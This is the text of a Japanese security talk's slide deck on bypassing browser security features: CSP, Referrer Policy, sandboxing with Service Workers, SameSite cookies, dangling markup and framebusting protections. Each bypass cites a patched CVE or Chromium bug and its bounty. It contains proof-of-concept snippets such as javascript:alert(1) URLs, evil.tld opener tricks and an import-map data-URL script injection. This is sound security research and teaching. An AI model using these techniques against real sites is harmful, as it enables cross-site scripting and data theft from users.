Shibuya.XSS techtalk #11で話したスライド 色んなブラウザセキュリティ機能をバイパスしていきます
ブラウザセキュリティ機能はバイパスされる為にある小勝純@shhnjk
View Slide
Agendatime_remaining = true;while(time_remaining) {● 機能説明● バイパス}
*-Policyで共通したバイパス手法SOP、CSP、Feature Policy、Referrer Policyなどなどオリジンが継承される所にポリシーが継承されないことがある
*-Policyで共通したバイパス手法SOP、CSP、Feature Policy、Referrer Policyなどなどオリジンが継承される所にポリシーが継承されないことがあるオリジンが継承される所とは:● Blob URL● Javascript URL● about:blank● iframe srcdocなど
Content Security Policyとは許可されていないスクリプトやリソースをブロックするセキュリティ機能同一オリジンのスクリプトのみ許可Content-Security-Policy: script-src ‘self’;
Content Security Policyとは許可されていないスクリプトやリソースをブロックするセキュリティ機能同一オリジンのスクリプトのみ許可Content-Security-Policy: script-src ‘self’;正しいNonceが指定されたスクリプトのみ許可Content-Security-Policy: script-src ‘nonce-ramdom’;alert(1) // allowedalert(1) // blocked
CSPのバイパス以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1))
CSPのバイパス以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1))以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来たhttps://victim.tld/vulnerable_endpoint.html#javascript:alert(1)CVE-2018-4118
CSPのバイパス2以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1),”new”)
CSPのバイパス2以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1),”new”)https://evil.tldwindow.name=”new”;window.open(“//victim.tld#javascript:alert(1)”);location.href=”//victim.tld/robots.txt”
CSPのバイパス2以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1),”new”)https://evil.tld https://victim.tld#javascript:alert(1)button.onclick = () => {window.open(location.hash.slice(1),”new”);}window.name=”new”;window.open(“//victim.tld#javascript:alert(1)”);location.href=”//victim.tld/robots.txt”
CSPのバイパス2以下の様なコードがあった場合Content-Security-Policy: script-src: ‘nonce-random’;window.open(location.hash.slice(1),”new”)https://victim.tld/robots.txt https://victim.tld#javascript:alert(1)button.onclick = () => {window.open(location.hash.slice(1),”new”);}https://victim.tld/robots.txtにCSPが設定されていない場合はChromeとSafariでバイパスが可能だったCVE-2017-15387: $1000 eachNo CSP
Referrer PolicyとはReferrerをどんな場合に送るかを指定出来るセキュリティ機能Referrerを常に送信しないReferrer-Policy: no-referrer同一オリジンへのリクエストに対してのみReferrerを送るReferrer-Policy: same-origin
Referrer Policyのバイパスabout:blankベージを開いてもChromeではReferrer Policyが継承されていなかったReferrer-Policy: no-referrerw = window.open("about:blank");w.document.write("");CVE-2018-6048: $500
CSP/iframeサンドボックスwindowやiframe内に色々な制限をかけられるセキュリティ機能Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可ポップアップは許可
CSP/iframeサンドボックスwindowやiframe内に色々な制限をかけられるセキュリティ機能Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可ポップアップは許可allow-same-originが指定されない限りサンドボックス内のオリジンはOpaqueオリジンとなるオリジンが変わってもURLは変わらない為、色々なバグが発生する
Service WorkerとCSPサンドボックスの問題Service Workerが登録されたオリジン内のリクエストはService Workerを経由する様になるnavigator.serviceWorker.register(“sw.js”);fetch(“/”);self.addEventListener('fetch', e=> {e.respondWith(fetch(e.request));})
Service WorkerとCSPサンドボックスの問題ChromeではCSPサンドボックスされたページからのリクエストもService Workerを経由してしまっていた為、サンドボックス外のオリジンの情報が取得出来たCVE-2019-5811: $2000alert(self.origin); // nullfetch(“/”);self.addEventListener('fetch', e=> {e.respondWith(fetch(e.request));})https://victim.tld/sandbox
SameSiteクッキー同一サイトからのリクエストにのみ送られるクッキーが作れる※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれないSet-Cookie: secret=1; SameSite=Strict
SameSiteクッキー同一サイトからのリクエストにのみ送られるクッキーが作れる※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれないSet-Cookie: secret=1; SameSite=StrictLaxはトップレベルナビゲーションのみクロスサイトからでも送られる※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られないSet-Cookie: secret=2; SameSite=Lax
SameSite Strictのバイパスrel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、SameSiteクッキーまでもが送られてしまっていたCSRFhttps://crbug.com/830091: $2000
SameSite Laxのバイパスhttps://victim.tldSet-Cookie: secret=Lax; SameSite=Laxhttps://evil.tldhttps://victim.tldNo cookieクロスサイトから埋め込まれても送られない
SameSite Laxのバイパスhttps://victim.tldSet-Cookie: secret=Lax; SameSite=Laxhttps://evil.tldhttps://victim.tldNo cookiehttps://evil.tldhttps://victim.tldsecret=Laxhttps://victim.tldクロスサイトから埋め込まれても送られないトップフレームが同一サイトだと送られていたCVE-2018-18351: $1000
Dangling markup mitigationリソースリクエストの中に\nと<が含まれるものをブロックするChromeのセキュリティ機能https://www.chromestatus.com/feature/5735596811091968 Hello shhnjk … Today’s talkユーザの関与なしに送られるリクエストのみを対象としている
Dangling markup mitigationのバイパスData URLをパースする際スペースや改行が消されるので、Data URL内のimgタグのリクエストには改行が存在しなくなる Hello shhnjk … Today’s talkhttps://crbug.com/749852 : $500
クロスオリジンの無効化クロスオリジンなダウンロードを無効化しナビゲーションに変更するChromeのセキュリティ機能https://www.chromestatus.com/feature/4969697975992320Navigate instead of downloadクロスオリジンな強制ダウンロードは悪用されたこともあったhttps://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf
クロスオリジンの無効化のバイパスクロスオリジンにリダイレクトすればいいLet’s just download :)残念ながら重複
クロスオリジンの無効化のバイパスクロスオリジンにリダイレクトすればいいLet’s just download :)残念ながら重複一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーションに変更する為、様々なバグを生み出してくれる
クロスオリジンframebustingのブロックユーザの関与がないクロスオリジンなframebustingをブロックするChromeのセキュリティ機能https://www.chromestatus.com/feature/5851021045661696https://victim.tldhttps://evil.tldtop.location.href = “phish”;
クロスオリジンframebustingのブロックのバイパスダウンロードリクエストがリダイレクトしナビゲーションに変わる際、どのフレームがリクエストを開始したかの情報が伝わっておらず、条件なしでトップフレームがナビゲートされてしまっていたhttps://victim.tldhttps://evil.tldid=”link” download>golink.click(); CVE-2019-5822: $500
伝えたかったこと● バグハント/診断 対象がセキュアだろうと思い込んではいけない
伝えたかったこと● バグハント/診断 対象がセキュアだろうと思い込んではいけない● バグを見つけたことに喜ぶのはいいが、満足してはいけない
伝えたかったこと● バグハント/診断 対象がセキュアだろうと思い込んではいけない● バグを見つけたことに喜ぶのはいいが、満足してはいけない● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい
伝えたかったこと● バグハント/診断 対象がセキュアだろうと思い込んではいけない● バグを見つけたことに喜ぶのはいいが、満足してはいけない● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい● 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある
Import Mapsで何をバイパスできるか考えてみよう<br/>{ "imports": {<br/>"/path/to/kv-storage-polyfill.mjs": [<br/>"std:kv-storage",<br/>"/path/to/kv-storage-polyfill.mjs"<br/>]<br/>}}<br/><br/>import {storage} from '/path/to/kv-storage-polyfill.mjs';<br/>https://developers.google.com/web/updates/2019/03/kv-storage#import_maps今日紹介したセキュリティ機能の何かがバイパス出来ます!考えてみましょう!ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は次のスクリプトを読み込んでくれるマップ
CSPのバイパス3Content-Security-Policy: script-src: ‘nonce-random’;<br/>{ "imports": {<br/>"/path/to/kv-storage-polyfill.mjs": [<br/>"data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)};<br/>export {storage};"<br/>]<br/>}}<br/>import {storage} from '/path/to/kv-storage-polyfill.mjs';<br/>storage.set('test', '1'); // alert(1)<br/>Nonceを指定しなくてもマップを作れてしまうhttps://crbug.com/941340: $1000アイディアが浮かんだ方はみんな正解!
Questions?https://victim.tld/agenda.html?fake_xss=time_remaining = true;time_remaining = true;while(time_remaining) {● 機能説明● バイパス}The XSS Auditor refused to execute a scriptUncaught ReferenceError: time_remaining is not defined